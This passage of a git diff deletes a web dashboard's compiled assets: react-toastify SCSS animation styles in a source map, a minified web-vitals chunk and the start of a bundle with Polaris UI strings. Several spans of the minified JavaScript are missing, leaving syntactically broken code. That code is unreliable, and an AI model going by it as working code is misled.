var(--toastify-text-color-error);\n background: var(--toastify-color-error);\n }\n}\n\n.#{$rt-namespace}__progress-bar {\n &-theme--light {\n background: var(--toastify-color-progress-light);\n }\n &-theme--dark {\n background: var(--toastify-color-progress-dark);\n }\n &--info {\n background: var(--toastify-color-progress-info);\n }\n &--success {\n background: var(--toastify-color-progress-success);\n }\n &--warning {\n background: var(--toastify-color-progress-warning);\n }\n &--error {\n background: var(--toastify-color-progress-error);\n }\n &-theme--colored#{&}--info,\n &-theme--colored#{&}--success,\n &-theme--colored#{&}--warning,\n &-theme--colored#{&}--error {\n background: var(--toastify-color-transparent);\n }\n}\n\n",".#{$rt-namespace}__close-button {\n color: #fff;\n background: transparent;\n outline: none;\n border: none;\n padding: 0;\n cursor: pointer;\n opacity: 0.7;\n transition: 0.3s ease;\n align-self: flex-start;\n \n &--light {\n color: #000;\n opacity: 0.3;\n }\n\n & > svg {\n fill: currentColor;\n height: 16px;\n width: 14px;\n }\n\n &:hover, &:focus {\n opacity: 1;\n }\n}\n","@keyframes #{$rt-namespace}__trackProgress {\n 0% {\n transform: scaleX(1);\n }\n 100% {\n transform: scaleX(0);\n }\n}\n\n.#{$rt-namespace}__progress-bar {\n position: absolute;\n bottom: 0;\n left: 0;\n width: 100%;\n height: 5px;\n z-index: var(--toastify-z-index);\n opacity: 0.7;\n transform-origin: left;\n\n &--animated {\n animation: #{$rt-namespace}__trackProgress linear 1 forwards;\n }\n\n &--controlled {\n transition: transform 0.2s;\n }\n\n &--rtl {\n right: 0;\n left: initial;\n transform-origin: right;\n }\n}\n",".#{$rt-namespace}__spinner {\n width: 20px;\n height: 20px;\n box-sizing: border-box;\n border: 2px solid;\n border-radius: 100%;\n border-color: var(--toastify-spinner-color-empty-area);\n border-right-color: var(--toastify-spinner-color);\n animation: #{$rt-namespace}__spin 0.65s linear infinite;\n}\n","@mixin timing-function {\n animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);\n}\n\n@keyframes #{$rt-namespace}__bounceInRight {\n from,\n 60%,\n 75%,\n 90%,\n to {\n @include timing-function;\n }\n from {\n opacity: 0;\n transform: translate3d(3000px, 0, 0);\n }\n 60% {\n opacity: 1;\n transform: translate3d(-25px, 0, 0);\n }\n 75% {\n transform: translate3d(10px, 0, 0);\n }\n 90% {\n transform: translate3d(-5px, 0, 0);\n }\n to {\n transform: none;\n }\n}\n\n@keyframes #{$rt-namespace}__bounceOutRight {\n 20% {\n opacity: 1;\n transform: translate3d(-20px, 0, 0);\n }\n to {\n opacity: 0;\n transform: translate3d(2000px, 0, 0);\n }\n}\n\n@keyframes #{$rt-namespace}__bounceInLeft {\n from,\n 60%,\n 75%,\n 90%,\n to {\n @include timing-function;\n }\n 0% {\n opacity: 0;\n transform: translate3d(-3000px, 0, 0);\n }\n 60% {\n opacity: 1;\n transform: translate3d(25px, 0, 0);\n }\n 75% {\n transform: translate3d(-10px, 0, 0);\n }\n 90% {\n transform: translate3d(5px, 0, 0);\n }\n to {\n transform: none;\n }\n}\n\n@keyframes #{$rt-namespace}__bounceOutLeft {\n 20% {\n opacity: 1;\n transform: translate3d(20px, 0, 0);\n }\n to {\n opacity: 0;\n transform: translate3d(-2000px, 0, 0);\n }\n}\n\n@keyframes #{$rt-namespace}__bounceInUp {\n from,\n 60%,\n 75%,\n 90%,\n to {\n @include timing-function;\n }\n from {\n opacity: 0;\n transform: translate3d(0, 3000px, 0);\n }\n 60% {\n opacity: 1;\n transform: translate3d(0, -20px, 0);\n }\n 75% {\n transform: translate3d(0, 10px, 0);\n }\n 90% {\n transform: translate3d(0, -5px, 0);\n }\n to {\n transform: translate3d(0, 0, 0);\n }\n}\n\n@keyframes #{$rt-namespace}__bounceOutUp {\n 20% {\n transform: translate3d(0, -10px, 0);\n }\n 40%,\n 45% {\n opacity: 1;\n transform: translate3d(0, 20px, 0);\n }\n to {\n opacity: 0;\n transform: translate3d(0, -2000px, 0);\n }\n}\n\n@keyframes #{$rt-namespace}__bounceInDown {\n from,\n 60%,\n 75%,\n 90%,\n to {\n @include timing-function;\n }\n 0% {\n opacity: 0;\n transform: translate3d(0, -3000px, 0);\n }\n 60% {\n opacity: 1;\n transform: translate3d(0, 25px, 0);\n }\n 75% {\n transform: translate3d(0, -10px, 0);\n }\n 90% {\n transform: translate3d(0, 5px, 0);\n }\n to {\n transform: none;\n }\n}\n\n@keyframes #{$rt-namespace}__bounceOutDown {\n 20% {\n transform: translate3d(0, 10px, 0);\n }\n 40%,\n 45% {\n opacity: 1;\n transform: translate3d(0, -20px, 0);\n }\n to {\n opacity: 0;\n transform: translate3d(0, 2000px, 0);\n }\n}\n\n.#{$rt-namespace}__bounce-enter {\n &--top-left,\n &--bottom-left {\n animation-name: #{$rt-namespace}__bounceInLeft;\n }\n &--top-right,\n &--bottom-right {\n animation-name: #{$rt-namespace}__bounceInRight;\n }\n &--top-center {\n animation-name: #{$rt-namespace}__bounceInDown;\n }\n &--bottom-center {\n animation-name: #{$rt-namespace}__bounceInUp;\n }\n}\n\n.#{$rt-namespace}__bounce-exit {\n &--top-left,\n &--bottom-left {\n animation-name: #{$rt-namespace}__bounceOutLeft;\n }\n &--top-right,\n &--bottom-right {\n animation-name: #{$rt-namespace}__bounceOutRight;\n }\n &--top-center {\n animation-name: #{$rt-namespace}__bounceOutUp;\n }\n &--bottom-center {\n animation-name: #{$rt-namespace}__bounceOutDown;\n }\n}","@keyframes #{$rt-namespace}__zoomIn {\n from {\n opacity: 0;\n transform: scale3d(0.3, 0.3, 0.3);\n }\n 50% {\n opacity: 1;\n }\n}\n\n@keyframes #{$rt-namespace}__zoomOut {\n from {\n opacity: 1;\n }\n 50% {\n opacity: 0;\n transform: scale3d(0.3, 0.3, 0.3);\n }\n to {\n opacity: 0\n }\n}\n\n.#{$rt-namespace}__zoom-enter {\n animation-name: #{$rt-namespace}__zoomIn;\n}\n\n.#{$rt-namespace}__zoom-exit {\n animation-name: #{$rt-namespace}__zoomOut;\n}\n","@keyframes #{$rt-namespace}__flipIn {\n from {\n transform: perspective(400px) rotate3d(1, 0, 0, 90deg);\n animation-timing-function: ease-in;\n opacity: 0;\n }\n 40% {\n transform: perspective(400px) rotate3d(1, 0, 0, -20deg);\n animation-timing-function: ease-in;\n }\n 60% {\n transform: perspective(400px) rotate3d(1, 0, 0, 10deg);\n opacity: 1\n }\n 80% {\n transform: perspective(400px) rotate3d(1, 0, 0, -5deg);\n }\n to {\n transform: perspective(400px);\n }\n}\n\n@keyframes #{$rt-namespace}__flipOut {\n from {\n transform: perspective(400px);\n }\n 30% {\n transform: perspective(400px) rotate3d(1, 0, 0, -20deg);\n opacity: 1\n }\n to {\n transform: perspective(400px) rotate3d(1, 0, 0, 90deg);\n opacity: 0\n }\n}\n\n.#{$rt-namespace}__flip-enter {\n animation-name: #{$rt-namespace}__flipIn;\n}\n\n.#{$rt-namespace}__flip-exit {\n animation-name: #{$rt-namespace}__flipOut;\n}\n","@mixin transform {\n transform: translate3d(0, 0, 0);\n}\n\n@keyframes #{$rt-namespace}__slideInRight {\n from {\n transform: translate3d(110%, 0, 0);\n visibility: visible;\n }\n to {\n @include transform;\n }\n}\n\n@keyframes #{$rt-namespace}__slideInLeft {\n from {\n transform: translate3d(-110%, 0, 0);\n visibility: visible;\n }\n to {\n @include transform;\n }\n}\n\n@keyframes #{$rt-namespace}__slideInUp {\n from {\n transform: translate3d(0, 110%, 0);\n visibility: visible;\n }\n to {\n @include transform;\n }\n}\n\n@keyframes #{$rt-namespace}__slideInDown {\n from {\n transform: translate3d(0, -110%, 0);\n visibility: visible;\n }\n to {\n @include transform;\n }\n}\n\n@keyframes #{$rt-namespace}__slideOutRight {\n from {\n @include transform;\n }\n to {\n visibility: hidden;\n transform: translate3d(110%, 0, 0);\n }\n}\n\n@keyframes #{$rt-namespace}__slideOutLeft {\n from {\n @include transform;\n }\n to {\n visibility: hidden;\n transform: translate3d(-110%, 0, 0);\n }\n}\n\n@keyframes #{$rt-namespace}__slideOutDown {\n from {\n @include transform;\n }\n to {\n visibility: hidden;\n transform: translate3d(0, 500px, 0);\n }\n}\n\n@keyframes #{$rt-namespace}__slideOutUp {\n from {\n @include transform;\n }\n to {\n visibility: hidden;\n transform: translate3d(0, -500px, 0);\n }\n}\n\n.#{$rt-namespace}__slide-enter {\n &--top-left,\n &--bottom-left {\n animation-name: #{$rt-namespace}__slideInLeft;\n }\n &--top-right,\n &--bottom-right {\n animation-name: #{$rt-namespace}__slideInRight;\n }\n &--top-center {\n animation-name: #{$rt-namespace}__slideInDown;\n }\n &--bottom-center {\n animation-name: #{$rt-namespace}__slideInUp;\n }\n}\n\n.#{$rt-namespace}__slide-exit {\n &--top-left,\n &--bottom-left {\n animation-name: #{$rt-namespace}__slideOutLeft;\n }\n &--top-right,\n &--bottom-right {\n animation-name: #{$rt-namespace}__slideOutRight;\n }\n &--top-center {\n animation-name: #{$rt-namespace}__slideOutUp;\n }\n &--bottom-center {\n animation-name: #{$rt-namespace}__slideOutDown;\n }\n}","@keyframes #{$rt-namespace}__spin {\n from {\n transform: rotate(0deg);\n }\n to {\n transform: rotate(360deg);\n }\n}\n"],"names":[],"sourceRoot":""} \ No newline at end of file diff --git a/static/js/787.e649ba96.chunk.js b/static/js/787.e649ba96.chunk.js deleted file mode 100644 index f097235..0000000 --- a/static/js/787.e649ba96.chunk.js +++ /dev/null @@ -1,2 +0,0 @@ -"use strict";(self.webpackChunkteardroid_dashboard=self.webpackChunkteardroid_dashboard||[]).push([[787],{787:function(e,t,n){n.r(t),n.d(t,{getCLS:function(){return y},getFCP:function(){return h},getFID:function(){return C},getLCP:function(){return P},getTTFB:function(){return D}});var i,r,a,o,u=function(e,t){return{name:e,value:void 0===t?-1:t,delta:0,entries:[],id:"v2-".concat(Date.now(),"-").concat(Math.floor(8999999999999*Math.random())+1e12)}},c=function(e,t){try{if(PerformanceObserver.supportedEntryTypes.includes(e)){if("first-input"===e&&!("PerformanceEventTiming"in self))return;var n=new PerformanceObserver((function(e){return e.getEntries().map(t)}));return n.observe({type:e,buffered:!0}),n}}catch(e){}},f=function(e,t){var n=function n(i){"pagehide"!==i.type&&"hidden"!==document.visibilityState||(e(i),t&&(removeEventListener("visibilitychange",n,!0),removeEventListener("pagehide",n,!0)))};addEventListener("visibilitychange",n,!0),addEventListener("pagehide",n,!0)},s=function(e){addEventListener("pageshow",(function(t){t.persisted&&e(t)}),!0)},m=function(e,t,n){var i;return function(r){t.value>=0&&(r||n)&&(t.delta=t.value-(i||0),(t.delta||void 0===i)&&(i=t.value,e(t)))}},d=-1,v=function(){return"hidden"===document.visibilityState?0:1/0},p=function(){f((function(e){var t=e.timeStamp;d=t}),!0)},l=function(){return d<0&&(d=v(),p(),s((function(){setTimeout((function(){d=v(),p()}),0)}))),{get firstHiddenTime(){return d}}},h=function(e,t){var n,i=l(),r=u("FCP"),a=function(e){"first-contentful-paint"===e.name&&(f&&f.disconnect(),e.startTime-1&&e(t)},r=u("CLS",0),a=0,o=[],d=function(e){if(!e.hadRecentInput){var t=o[0],i=o[o.length-1];a&&e.startTime-i.startTime<1e3&&e.startTime-t.startTime<5e3?(a+=e.value,o.push(e)):(a=e.value,o=[e]),a>r.value&&(r.value=a,r.entries=o,n())}},v=c("layout-shift",d);v&&(n=m(i,r,t),f((function(){v.takeRecords().map(d),n(!0)})),s((function(){a=0,T=-1,r=u("CLS",0),n=m(i,r,t)})))},E={passive:!0,capture:!0},w=new Date,L=function(e,t){i||(i=t,r=e,a=new Date,F(removeEventListener),S())},S=function(){if(r>=0&&r1e12?new Date:performance.now())-e.timeStamp;"pointerdown"==e.type?function(e,t){var n=function(){L(e,t),r()},i=function(){r()},r=function(){removeEventListener("pointerup",n,E),removeEventListener("pointercancel",i,E)};addEventListener("pointerup",n,E),addEventListener("pointercancel",i,E)}(t,e):L(t,e)}},F=function(e){["mousedown","keydown","touchstart","pointerdown"].forEach((function(t){return e(t,b,E)}))},C=function(e,t){var n,a=l(),d=u("FID"),v=function(e){e.startTimeperformance.now())return;n.entries=[t],e(n)}catch(e){}},"complete"===document.readyState?setTimeout(t,0):addEventListener("pageshow",t)}}}]); -//# sourceMappingURL=787.e649ba96.chunk.js.map \ No newline at end of file diff --git a/static/js/787.e649ba96.chunk.js.map b/static/js/787.e649ba96.chunk.js.map deleted file mode 100644 index 0f662f4..0000000 --- a/static/js/787.e649ba96.chunk.js.map +++ /dev/null @@ -1 +0,0 @@ -{"version":3,"file":"static/js/787.e649ba96.chunk.js","mappings":"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","sources":["../node_modules/web-vitals/dist/web-vitals.js"],"sourcesContent":["var e,t,n,i,r=function(e,t){return{name:e,value:void 0===t?-1:t,delta:0,entries:[],id:\"v2-\".concat(Date.now(),\"-\").concat(Math.floor(8999999999999*Math.random())+1e12)}},a=function(e,t){try{if(PerformanceObserver.supportedEntryTypes.includes(e)){if(\"first-input\"===e&&!(\"PerformanceEventTiming\"in self))return;var n=new PerformanceObserver((function(e){return e.getEntries().map(t)}));return n.observe({type:e,buffered:!0}),n}}catch(e){}},o=function(e,t){var n=function n(i){\"pagehide\"!==i.type&&\"hidden\"!==document.visibilityState||(e(i),t&&(removeEventListener(\"visibilitychange\",n,!0),removeEventListener(\"pagehide\",n,!0)))};addEventListener(\"visibilitychange\",n,!0),addEventListener(\"pagehide\",n,!0)},c=function(e){addEventListener(\"pageshow\",(function(t){t.persisted&&e(t)}),!0)},u=function(e,t,n){var i;return function(r){t.value>=0&&(r||n)&&(t.delta=t.value-(i||0),(t.delta||void 0===i)&&(i=t.value,e(t)))}},f=-1,s=function(){return\"hidden\"===document.visibilityState?0:1/0},m=function(){o((function(e){var t=e.timeStamp;f=t}),!0)},v=function(){return f<0&&(f=s(),m(),c((function(){setTimeout((function(){f=s(),m()}),0)}))),{get firstHiddenTime(){return f}}},p=function(e,t){var n,i=v(),o=r(\"FCP\"),f=function(e){\"first-contentful-paint\"===e.name&&(m&&m.disconnect(),e.startTime-1&&e(t)},f=r(\"CLS\",0),s=0,m=[],v=function(e){if(!e.hadRecentInput){var t=m[0],i=m[m.length-1];s&&e.startTime-i.startTime<1e3&&e.startTime-t.startTime<5e3?(s+=e.value,m.push(e)):(s=e.value,m=[e]),s>f.value&&(f.value=s,f.entries=m,n())}},h=a(\"layout-shift\",v);h&&(n=u(i,f,t),o((function(){h.takeRecords().map(v),n(!0)})),c((function(){s=0,l=-1,f=r(\"CLS\",0),n=u(i,f,t)})))},g={passive:!0,capture:!0},y=new Date,T=function(i,r){e||(e=r,t=i,n=new Date,S(removeEventListener),E())},E=function(){if(t>=0&&t1e12?new Date:performance.now())-e.timeStamp;\"pointerdown\"==e.type?function(e,t){var n=function(){T(e,t),r()},i=function(){r()},r=function(){removeEventListener(\"pointerup\",n,g),removeEventListener(\"pointercancel\",i,g)};addEventListener(\"pointerup\",n,g),addEventListener(\"pointercancel\",i,g)}(t,e):T(t,e)}},S=function(e){[\"mousedown\",\"keydown\",\"touchstart\",\"pointerdown\"].forEach((function(t){return e(t,w,g)}))},L=function(n,f){var s,m=v(),p=r(\"FID\"),d=function(e){e.startTimeperformance.now())return;n.entries=[t],e(n)}catch(e){}},\"complete\"===document.readyState?setTimeout(t,0):addEventListener(\"pageshow\",t)};export{h as getCLS,p as getFCP,L as getFID,F as getLCP,P as getTTFB};\n"],"names":["e","t","n","i","r","name","value","delta","entries","id","concat","Date","now","Math","floor","random","a","PerformanceObserver","supportedEntryTypes","includes","self","getEntries","map","observe","type","buffered","o","document","visibilityState","removeEventListener","addEventListener","c","persisted","u","f","s","m","timeStamp","v","setTimeout","firstHiddenTime","p","disconnect","startTime","push","window","performance","getEntriesByName","requestAnimationFrame","d","l","h","hadRecentInput","length","takeRecords","g","passive","capture","y","T","S","E","entryType","target","cancelable","processingStart","forEach","w","L","b","F","once","P","getEntriesByType","timing","max","navigationStart","responseStart","readyState"],"sourceRoot":""} \ No newline at end of file diff --git a/static/js/main.58405be5.js b/static/js/main.58405be5.js deleted file mode 100644 index d4e3557..0000000 --- a/static/js/main.58405be5.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! For license information please see main.58405be5.js.LICENSE.txt */ -!function(){var e={7228:function(e){e.exports=function(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n=0||(a[n]=e[n]);return a}function u(e,t){if(null==e)return{};var n,r,a=s(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}var c=JSON.parse('{"Polaris":{"ActionMenu":{"Actions":{"moreActions":"More actions"},"RollupActions":{"rollupButton":"View actions"}},"Avatar":{"label":"Avatar","labelWithInitials":"Avatar with initials {initials}"},"Autocomplete":{"spinnerAccessibilityLabel":"Loading","ellipsis":"{content}\u2026"},"Badge":{"PROGRESS_LABELS":{"incomplete":"Incomplete","partiallyComplete":"Partially complete","complete":"Complete"},"STATUS_LABELS":{"info":"Info","success":"Success","warning":"Warning","critical":"Critical","attention":"Attention","new":"New"},"progressAndStatus":"{statusLabel} {progressLabel}"},"Button":{"spinnerAccessibilityLabel":"Loading","connectedDisclosureAccessibilityLabel":"Related actions"},"Common":{"checkbox":"checkbox","undo":"Undo","cancel":"Cancel","newWindowAccessibilityHint":"(opens a new window)","clear":"Clear","close":"Close","submit":"Submit","more":"More"},"ContextualSaveBar":{"save":"Save","discard":"Discard"},"DataTable":{"sortAccessibilityLabel":"sort {direction} by","navAccessibilityLabel":"Scroll table {direction} one column","totalsRowHeading":"Totals","totalRowHeading":"Total"},"DatePicker":{"previousMonth":"Show previous month, {previousMonthName} {showPreviousYear}","nextMonth":"Show next month, {nextMonth} {nextYear}","today":"Today ","start":"Start of range","end":"End of range","months":{"january":"January","february":"February","march":"March","april":"April","may":"May","june":"June","july":"July","august":"August","september":"September","october":"October","november":"November","december":"December"},"days":{"monday":"Monday","tuesday":"Tuesday","wednesday":"Wednesday","thursday":"Thursday","friday":"Friday","saturday":"Saturday","sunday":"Sunday"},"daysAbbreviated":{"monday":"Mo","tuesday":"Tu","wednesday":"We","thursday":"Th","friday":"Fr","saturday":"Sa","sunday":"Su"}},"DiscardConfirmationModal":{"title":"Discard all unsaved changes","message":"If you discard changes, you\u2019ll delete any edits you made since you last saved.","primaryAction":"Discard changes","secondaryAction":"Continue editing"},"DropZone":{"single":{"overlayTextFile":"Drop file to upload","overlayTextImage":"Drop image to upload","actionTitleFile":"Add file","actionTitleImage":"Add image","actionHintFile":"or drop file to upload","actionHintImage":"or drop image to upload","labelFile":"Upload file","labelImage":"Upload image"},"allowMultiple":{"overlayTextFile":"Drop files to upload","overlayTextImage":"Drop images to upload","actionTitleFile":"Add files","actionTitleImage":"Add images","actionHintFile":"or drop files to upload","actionHintImage":"or drop images to upload","labelFile":"Upload files","labelImage":"Upload images"},"errorOverlayTextFile":"File type is not valid","errorOverlayTextImage":"Image type is not valid"},"EmptySearchResult":{"altText":"Empty search results"},"Frame":{"skipToContent":"Skip to content","navigationLabel":"Navigation","Navigation":{"closeMobileNavigationLabel":"Close navigation"}},"Filters":{"moreFilters":"More filters","moreFiltersWithCount":"More filters ({count})","filter":"Filter {resourceName}","noFiltersApplied":"No filters applied","cancel":"Cancel","done":"Done","clearAllFilters":"Clear all filters","clear":"Clear","clearLabel":"Clear {filterName}"},"IndexProvider":{"defaultItemSingular":"Item","defaultItemPlural":"Items","allItemsSelected":"All {itemsLength}+ {resourceNamePlural} are selected.","selected":"{selectedItemsCount} selected","a11yCheckboxDeselectAllSingle":"Deselect {resourceNameSingular}","a11yCheckboxSelectAllSingle":"Select {resourceNameSingular}","a11yCheckboxDeselectAllMultiple":"Deselect all {itemsLength} {resourceNamePlural}","a11yCheckboxSelectAllMultiple":"Select all {itemsLength} {resourceNamePlural}"},"IndexTable":{"emptySearchTitle":"No {resourceNamePlural} found","emptySearchDescription":"Try changing the filters or search term","onboardingBadgeText":"New","resourceLoadingAccessibilityLabel":"Loading {resourceNamePlural}\u2026","selectAllLabel":"Select all 